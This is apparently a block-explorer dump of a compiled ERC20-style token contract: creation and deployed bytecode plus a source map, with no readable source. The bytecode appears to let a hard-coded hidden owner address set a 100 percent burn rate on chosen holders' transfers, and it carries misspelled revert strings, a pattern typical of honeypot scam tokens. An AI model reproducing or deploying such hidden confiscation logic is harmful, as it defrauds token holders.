ffff81111561157d5761157c611540565b5b60208301915083602082028301111561159957611598611545565b5b9250929050565b600080602083850312156115b7576115b6611531565b5b600083013567ffffffffffffffff8111156115d5576115d4611536565b5b6115e18582860161154a565b92509250509250929050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561162757808201518184015260208101905061160c565b60008484015250505050565b6000601f19601f8301169050919050565b600061164f826115ed565b61165981856115f8565b9350611669818560208601611609565b61167281611633565b840191505092915050565b600060208201905081810360008301526116978184611644565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006116ca8261169f565b9050919050565b6116da816116bf565b81146116e557600080fd5b50565b6000813590506116f7816116d1565b92915050565b6000819050919050565b611710816116fd565b811461171b57600080fd5b50565b60008135905061172d81611707565b92915050565b6000806040838503121561174a57611749611531565b5b6000611758858286016116e8565b92505060206117698582860161171e565b9150509250929050565b60008115159050919050565b61178881611773565b82525050565b60006020820190506117a3600083018461177f565b92915050565b6117b2816116fd565b82525050565b60006020820190506117cd60008301846117a9565b92915050565b6000806000606084860312156117ec576117eb611531565b5b60006117fa868287016116e8565b935050602061180b868287016116e8565b925050604061181c8682870161171e565b9150509250925092565b600060ff82169050919050565b61183c81611826565b82525050565b60006020820190506118576000830184611833565b92915050565b61186681611773565b811461187157600080fd5b50565b6000813590506118838161185d565b92915050565b600080604083850312156118a05761189f611531565b5b60006118ae858286016116e8565b92505060206118bf85828601611874565b9150509250929050565b6000602082840312156118df576118de611531565b5b60006118ed848285016116e8565b91505092915050565b6118ff816116bf565b82525050565b600060208201905061191a60008301846118f6565b92915050565b6000806040838503121561193757611936611531565b5b6000611945858286016116e8565b9250506020611956858286016116e8565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006119c9826116fd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036119fb576119fa61198f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611a4d57607f821691505b602082108103611a6057611a5f611a06565b5b50919050565b7f45524332303a207472616e736665722061626e6d746f75746e7420657863656560008201527f647320616c6c6f77616e63650000000000000000000000000000000000000000602082015250565b6000611ac2602c836115f8565b9150611acd82611a66565b604082019050919050565b60006020820190508181036000830152611af181611ab5565b9050919050565b6000611b03826116fd565b9150611b0e836116fd565b9250828203905081811115611b2657611b2561198f565b5b92915050565b7f61636e676f74756e7420697320616c7265616479207468652076616c7565206f60008201527f6620276578636c75646564270000000000000000000000000000000000000000602082015250565b6000611b88602c836115f8565b9150611b9382611b2c565b604082019050919050565b60006020820190508181036000830152611bb781611b7b565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611bf46020836115f8565b9150611bff82611bbe565b602082019050919050565b60006020820190508181036000830152611c2381611be7565b9050919050565b7f54726164696e6720616c726561647920656e61626c65642e0000000000000000600082015250565b6000611c606018836115f8565b9150611c6b82611c2a565b602082019050919050565b60006020820190508181036000830152611c8f81611c53565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611cf26026836115f8565b9150611cfd82611c96565b604082019050919050565b60006020820190508181036000830152611d2181611ce5565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611d846024836115f8565b9150611d8f82611d28565b604082019050919050565b60006020820190508181036000830152611db381611d77565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e166022836115f8565b9150611e2182611dba565b604082019050919050565b60006020820190508181036000830152611e4581611e09565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611ea86025836115f8565b9150611eb382611e4c565b604082019050919050565b60006020820190508181036000830152611ed781611e9b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611f3a6023836115f8565b9150611f4582611ede565b604082019050919050565b60006020820190508181036000830152611f6981611f2d565b9050919050565b7f54726164696e67206e6f742079657420656e61626c6564210000000000000000600082015250565b6000611fa66018836115f8565b9150611fb182611f70565b602082019050919050565b60006020820190508181036000830152611fd581611f99565b9050919050565b6000611fe7826116fd565b9150611ff2836116fd565b9250828202612000816116fd565b915082820484148315176120175761201661198f565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612058826116fd565b9150612063836116fd565b9250826120735761207261201e565b5b828204905092915050565b7f45524332303a207472616e736665722061626e6d746f75746e7420657863656560008201527f64732062616c616e636500000000000000000000000000000000000000000000602082015250565b60006120da602a836115f8565b91506120e58261207e565b604082019050919050565b60006020820190508181036000830152612109816120cd565b9050919050565b600061211b826116fd565b9150612126836116fd565b925082820190508082111561213e5761213d61198f565b5b9291505056fea2646970667358221220f77475bd73ae25ffa85830af317363bfaa81ff3f54a71399514ec9ab762b12a664736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101185760003560e01c806370a08231116100a057806395d89b411161006457806395d89b4114610398578063a9059cbb146103c3578063bd0f375014610400578063dd62ed3e1461043d578063f2fde38b1461047a5761011f565b806370a08231146102c5578063715018a61461030257806375d5e02c146103195780638a8c523c146103565780638da5cb5b1461036d5761011f565b806323b872dd116100e757806323b872dd146101e0578063313ce5671461021d57806346757a5414610248578063484d993f146102715780634ada218b1461029a5761011f565b80630165c3671461012457806306fdde031461014d578063095ea7b31461017857806318160ddd146101b55761011f565b3661011f57005b600080fd5b34801561013057600080fd5b5061014b600480360381019061014691906115a0565b6104a3565b005b34801561015957600080fd5b5061016261053d565b60405161016f919061167d565b60405180910390f35b34801561018457600080fd5b5061019f600480360381019061019a9190611733565b6105cf565b6040516101ac919061178e565b60405180910390f35b3480156101c157600080fd5b506101ca6105ed565b6040516101d791906117b8565b60405180910390f35b3480156101ec57600080fd5b50610207600480360381019061020291906117d3565b6105f7565b604051610214919061178e565b60405180910390f35b34801561022957600080fd5b5061023261071f565b60405161023f9190611842565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a91906115a0565b610728565b005b34801561027d57600080fd5b5061029860048036038101906102939190611889565b6107c2565b005b3480156102a657600080fd5b506102af6108b7565b6040516102bc919061178e565b60405180910390f35b3480156102d157600080fd5b506102ec60048036038101906102e791906118c9565b6108ca565b6040516102f991906117b8565b60405180910390f35b34801561030e57600080fd5b50610317610912565b005b34801561032557600080fd5b50610340600480360381019061033b91906118c9565b61099a565b60405161034d919061178e565b60405180910390f35b34801561036257600080fd5b5061036b6109f0565b005b34801561037957600080fd5b50610382610a65565b60405161038f9190611905565b60405180910390f35b3480156103a457600080fd5b506103ad610a8f565b6040516103ba919061167d565b60405180910390f35b3480156103cf57600080fd5b506103ea60048036038101906103e59190611733565b610b21565b6040516103f7919061178e565b60405180910390f35b34801561040c57600080fd5b50610427600480360381019061042291906118c9565b610b3f565b60405161043491906117b8565b60405180910390f35b34801561044957600080fd5b50610464600480360381019061045f9190611920565b610b88565b60405161047191906117b8565b60405180910390f35b34801561048657600080fd5b506104a1600480360381019061049c91906118c9565b610c0f565b005b6104ab610d06565b60005b82829050811015610538576000600760008585858181106104d2576104d1611960565b5b90506020020160208101906104e791906118c9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610530906119be565b9150506104ae565b505050565b60606003805461054c90611a35565b80601f016020809104026020016040519081016040528092919081815260200182805461057890611a35565b80156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b5050505050905090565b60006105e36105dc610d67565b8484610d6f565b6001905092915050565b6000600254905090565b600080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610643610d67565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461070857828110156106ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e190611ad8565b60405180910390fd5b610707856106f6610d67565b85846107029190611af8565b610d6f565b5b610713858585610f38565b60019150509392505050565b60006009905090565b610730610d06565b60005b828290508110156107bd5760646007600085858581811061075757610756611960565b5b905060200201602081019061076c91906118c9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806107b5906119be565b915050610733565b505050565b6107ca610d06565b801515600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615150361085c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085390611b9e565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600860009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61091a610d67565b73ffffffffffffffffffffffffffffffffffffffff16610938610a65565b73ffffffffffffffffffffffffffffffffffffffff161461098e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098590611c0a565b60405180910390fd5b61099860006111a7565b565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6109f8610d06565b600860009054906101000a900460ff1615610a48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3f90611c76565b60405180910390fd5b6001600860006101000a81548160ff021916908315150217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610a9e90611a35565b80601f0160208091040260200160405190810160405280929190818152602001828054610aca90611a35565b8015610b175780601f10610aec57610100808354040283529160200191610b17565b820191906000526020600020905b815481529060010190602001808311610afa57829003601f168201915b5050505050905090565b6000610b35610b2e610d67565b8484610f38565b6001905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c17610d67565b73ffffffffffffffffffffffffffffffffffffffff16610c35610a65565b73ffffffffffffffffffffffffffffffffffffffff1614610c8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8290611c0a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610cfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf190611d08565b60405180910390fd5b610d03816111a7565b50565b610d0e61126d565b3373ffffffffffffffffffffffffffffffffffffffff1614610d65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5c90611c0a565b60405180910390fd5b565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd590611d9a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4490611e2c565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f2b91906117b8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9e90611ebe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611016576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100d90611f50565b60405180910390fd5b600860009054906101000a900460ff168061107a5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806110ce5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61110d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110490611fbc565b60405180910390fd5b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000606482846111619190611fdc565b61116b919061204d565b90506000818461117b9190611af8565b90506000821115611194576111938661dead8461129f565b5b61119f86868361129f565b505050505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000732f4a5f3eddc98d50f8bc04c4bd0206b0f08e553773ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361130e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130590611ebe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361137d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137490611f50565b60405180910390fd5b611388838383611527565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561140e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611405906120f0565b60405180910390fd5b818161141a9190611af8565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114aa9190612110565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161150e91906117b8565b60405180910390a361152184848461152c565b50505050565b505050565b505050565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b60008083601f8401126115605761155f61153b565b5b8235905067ffffffffffffffff81111561157d5761157c611540565b5b60208301915083602082028301111561159957611598611545565b5b9250929050565b600080602083850312156115b7576115b6611531565b5b600083013567ffffffffffffffff8111156115d5576115d4611536565b5b6115e18582860161154a565b92509250509250929050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561162757808201518184015260208101905061160c565b60008484015250505050565b6000601f19601f8301169050919050565b600061164f826115ed565b61165981856115f8565b9350611669818560208601611609565b61167281611633565b840191505092915050565b600060208201905081810360008301526116978184611644565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006116ca8261169f565b9050919050565b6116da816116bf565b81146116e557600080fd5b50565b6000813590506116f7816116d1565b92915050565b6000819050919050565b611710816116fd565b811461171b57600080fd5b50565b60008135905061172d81611707565b92915050565b6000806040838503121561174a57611749611531565b5b6000611758858286016116e8565b92505060206117698582860161171e565b9150509250929050565b60008115159050919050565b61178881611773565b82525050565b60006020820190506117a3600083018461177f565b92915050565b6117b2816116fd565b82525050565b60006020820190506117cd60008301846117a9565b92915050565b6000806000606084860312156117ec576117eb611531565b5b60006117fa868287016116e8565b935050602061180b868287016116e8565b925050604061181c8682870161171e565b9150509250925092565b600060ff82169050919050565b61183c81611826565b82525050565b60006020820190506118576000830184611833565b92915050565b61186681611773565b811461187157600080fd5b50565b6000813590506118838161185d565b92915050565b600080604083850312156118a05761189f611531565b5b60006118ae858286016116e8565b92505060206118bf85828601611874565b9150509250929050565b6000602082840312156118df576118de611531565b5b60006118ed848285016116e8565b91505092915050565b6118ff816116bf565b82525050565b600060208201905061191a60008301846118f6565b92915050565b6000806040838503121561193757611936611531565b5b6000611945858286016116e8565b9250506020611956858286016116e8565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006119c9826116fd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036119fb576119fa61198f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611a4d57607f821691505b602082108103611a6057611a5f611a06565b5b50919050565b7f45524332303a207472616e736665722061626e6d746f75746e7420657863656560008201527f647320616c6c6f77616e63650000000000000000000000000000000000000000602082015250565b6000611ac2602c836115f8565b9150611acd82611a66565b604082019050919050565b60006020820190508181036000830152611af181611ab5565b9050919050565b6000611b03826116fd565b9150611b0e836116fd565b9250828203905081811115611b2657611b2561198f565b5b92915050565b7f61636e676f74756e7420697320616c7265616479207468652076616c7565206f60008201527f6620276578636c75646564270000000000000000000000000000000000000000602082015250565b6000611b88602c836115f8565b9150611b9382611b2c565b604082019050919050565b60006020820190508181036000830152611bb781611b7b565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611bf46020836115f8565b9150611bff82611bbe565b602082019050919050565b60006020820190508181036000830152611c2381611be7565b9050919050565b7f54726164696e6720616c726561647920656e61626c65642e0000000000000000600082015250565b6000611c606018836115f8565b9150611c6b82611c2a565b602082019050919050565b60006020820190508181036000830152611c8f81611c53565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611cf26026836115f8565b9150611cfd82611c96565b604082019050919050565b60006020820190508181036000830152611d2181611ce5565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611d846024836115f8565b9150611d8f82611d28565b604082019050919050565b60006020820190508181036000830152611db381611d77565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e166022836115f8565b9150611e2182611dba565b604082019050919050565b60006020820190508181036000830152611e4581611e09565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611ea86025836115f8565b9150611eb382611e4c565b604082019050919050565b60006020820190508181036000830152611ed781611e9b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611f3a6023836115f8565b9150611f4582611ede565b604082019050919050565b60006020820190508181036000830152611f6981611f2d565b9050919050565b7f54726164696e67206e6f742079657420656e61626c6564210000000000000000600082015250565b6000611fa66018836115f8565b9150611fb182611f70565b602082019050919050565b60006020820190508181036000830152611fd581611f99565b9050919050565b6000611fe7826116fd565b9150611ff2836116fd565b9250828202612000816116fd565b915082820484148315176120175761201661198f565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612058826116fd565b9150612063836116fd565b9250826120735761207261201e565b5b828204905092915050565b7f45524332303a207472616e736665722061626e6d746f75746e7420657863656560008201527f64732062616c616e636500000000000000000000000000000000000000000000602082015250565b60006120da602a836115f8565b91506120e58261207e565b604082019050919050565b60006020820190508181036000830152612109816120cd565b9050919050565b600061211b826116fd565b9150612126836116fd565b925082820190508082111561213e5761213d61198f565b5b9291505056fea2646970667358221220f77475bd73ae25ffa85830af317363bfaa81ff3f54a71399514ec9ab762b12a664736f6c63430008110033

Deployed Bytecode Sourcemap

6696:2569:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7996:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2808:92;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3677:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3104:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3854:503;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3012:84;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7793:195;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7252:283;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8326:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3212:123;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1654:94;;;;;;;;;;;;;:::i;:::-;;7543:147;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8361:155;;;;;;;;;;;;;:::i;:::-;;1431:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2908:96;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3343:175;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8203:115;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3526:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1756:192;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7996:199;8072:6;:4;:6::i;:::-;8090;8085:103;8106:10;;:17;;8102:1;:21;8085:103;;;7785:1;8141:9;:24;8151:10;;8162:1;8151:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;8141:24;;;;;;;;;;;;;;;:39;;;;8125:3;;;;;:::i;:::-;;;;8085:103;;;;7996:199;;:::o;2808:92::-;2854:13;2887:5;2880:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2808:92;:::o;3677:169::-;3756:4;3773:43;3782:12;:10;:12::i;:::-;3796:7;3805:10;3773:8;:43::i;:::-;3834:4;3827:11;;3677:169;;;;:::o;3104:100::-;3157:7;3184:12;;3177:19;;3104:100;:::o;3854:503::-;3956:4;3973:24;4000:11;:19;4012:6;4000:19;;;;;;;;;;;;;;;:33;4020:12;:10;:12::i;:::-;4000:33;;;;;;;;;;;;;;;;3973:60;;4068:17;4048:16;:37;4044:233;;4130:10;4110:16;:30;;4102:87;;;;;;;;;;;;:::i;:::-;;;;;;;;;4204:61;4213:6;4221:12;:10;:12::i;:::-;4254:10;4235:16;:29;;;;:::i;:::-;4204:8;:61::i;:::-;4044:233;4287:40;4297:6;4305:9;4316:10;4287:9;:40::i;:::-;4345:4;4338:11;;;3854:503;;;;;:::o;3012:84::-;3062:5;3087:1;3080:8;;3012:84;:::o;7793:195::-;7866:6;:4;:6::i;:::-;7884;7879:102;7900:10;;:17;;7896:1;:21;7879:102;;;7735:3;7935:9;:24;7945:10;;7956:1;7945:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;7935:24;;;;;;;;;;;;;;;:38;;;;7919:3;;;;;:::i;:::-;;;;7879:102;;;;7793:195;;:::o;7252:283::-;7341:6;:4;:6::i;:::-;7409:8;7366:51;;:28;:39;7395:9;7366:39;;;;;;;;;;;;;;;;;;;;;;;;;:51;;;7358:108;;;;;;;;;;;;:::i;:::-;;;;;;;;;7519:8;7477:28;:39;7506:9;7477:39;;;;;;;;;;;;;;;;:50;;;;;;;;;;;;;;;;;;7252:283;;:::o;8326:26::-;;;;;;;;;;;;;:::o;3212:123::-;3280:7;3307:9;:20;3317:9;3307:20;;;;;;;;;;;;;;;;3300:27;;3212:123;;;:::o;1654:94::-;1577:12;:10;:12::i;:::-;1566:23;;:7;:5;:7::i;:::-;:23;;;1558:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1719:21:::1;1737:1;1719:9;:21::i;:::-;1654:94::o:0;7543:147::-;7619:4;7643:28;:39;7672:9;7643:39;;;;;;;;;;;;;;;;;;;;;;;;;7636:46;;7543:147;;;:::o;8361:155::-;8407:6;:4;:6::i;:::-;8433:14;;;;;;;;;;;8432:15;8424:52;;;;;;;;;;;;:::i;:::-;;;;;;;;;8504:4;8487:14;;:21;;;;;;;;;;;;;;;;;;8361:155::o;1431:87::-;1477:7;1504:6;;;;;;;;;;;1497:13;;1431:87;:::o;2908:96::-;2956:13;2989:7;2982:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2908:96;:::o;3343:175::-;3425:4;3442:46;3452:12;:10;:12::i;:::-;3466:9;3477:10;3442:9;:46::i;:::-;3506:4;3499:11;;3343:175;;;;:::o;8203:115::-;8263:7;8290:9;:20;8300:9;8290:20;;;;;;;;;;;;;;;;8283:27;;8203:115;;;:::o;3526:143::-;3607:7;3634:11;:18;3646:5;3634:18;;;;;;;;;;;;;;;:27;3653:7;3634:27;;;;;;;;;;;;;;;;3627:34;;3526:143;;;;:::o;1756:192::-;1577:12;:10;:12::i;:::-;1566:23;;:7;:5;:7::i;:::-;:23;;;1558:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1865:1:::1;1845:22;;:8;:22;;::::0;1837:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1921:19;1931:8;1921:9;:19::i;:::-;1756:192:::0;:::o;1954:127::-;2029:7;:5;:7::i;:::-;2014:10;2006:30;;;1998:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;1954:127::o;972:98::-;1025:7;1052:10;1045:17;;972:98;:::o;6126:358::-;6249:1;6232:19;;:5;:19;;;6224:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6330:1;6311:21;;:7;:21;;;6303:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6414:10;6384:11;:18;6396:5;6384:18;;;;;;;;;;;;;;;:27;6403:7;6384:27;;;;;;;;;;;;;;;:40;;;;6456:7;6440:36;;6449:5;6440:36;;;6465:10;6440:36;;;;;;:::i;:::-;;;;;;;;6126:358;;;:::o;8522:740::-;8640:1;8624:18;;:4;:18;;;8616:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8717:1;8703:16;;:2;:16;;;8695:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8778:14;;;;;;;;;;;:52;;;;8796:28;:34;8825:4;8796:34;;;;;;;;;;;;;;;;;;;;;;;;;8778:52;:88;;;;8834:28;:32;8863:2;8834:32;;;;;;;;;;;;;;;;;;;;;;;;;8778:88;8770:125;;;;;;;;;;;;:::i;:::-;;;;;;;;;8908:22;8933:9;:15;8943:4;8933:15;;;;;;;;;;;;;;;;8908:40;;8959:21;9015:3;8997:14;8984:10;:27;;;;:::i;:::-;8983:35;;;;:::i;:::-;8959:59;;9029:26;9071:13;9058:10;:26;;;;:::i;:::-;9029:55;;9117:1;9101:13;:17;9097:100;;;9135:50;9151:4;6907:6;9171:13;9135:15;:50::i;:::-;9097:100;9209:45;9225:4;9231:2;9235:18;9209:15;:45::i;:::-;8605:657;;;8522:740;;;:::o;2228:173::-;2284:16;2303:6;;;;;;;;;;;2284:25;;2329:8;2320:6;;:17;;;;;;;;;;;;;;;;;;2384:8;2353:40;;2374:8;2353:40;;;;;;;;;;;;2273:128;2228:173;:::o;2087:135::-;2135:7;2174:42;2158:60;;2151:67;;2087:135;:::o;4365:695::-;4493:1;4475:20;;:6;:20;;;4467:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;4577:1;4556:23;;:9;:23;;;4548:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;4632:51;4653:6;4661:9;4672:10;4632:20;:51::i;:::-;4696:21;4720:9;:17;4730:6;4720:17;;;;;;;;;;;;;;;;4696:41;;4773:10;4756:13;:27;;4748:82;;;;;;;;;;;;:::i;:::-;;;;;;;;;4877:10;4861:13;:26;;;;:::i;:::-;4841:9;:17;4851:6;4841:17;;;;;;;;;;;;;;;:46;;;;4922:10;4898:9;:20;4908:9;4898:20;;;;;;;;;;;;;;;;:34;;;;;;;:::i;:::-;;;;;;;;4967:9;4950:39;;4959:6;4950:39;;;4978:10;4950:39;;;;;;:::i;:::-;;;;;;;;5002:50;5022:6;5030:9;5041:10;5002:19;:50::i;:::-;4456:604;4365:695;;;:::o;6492:95::-;;;;:::o;6595:94::-;;;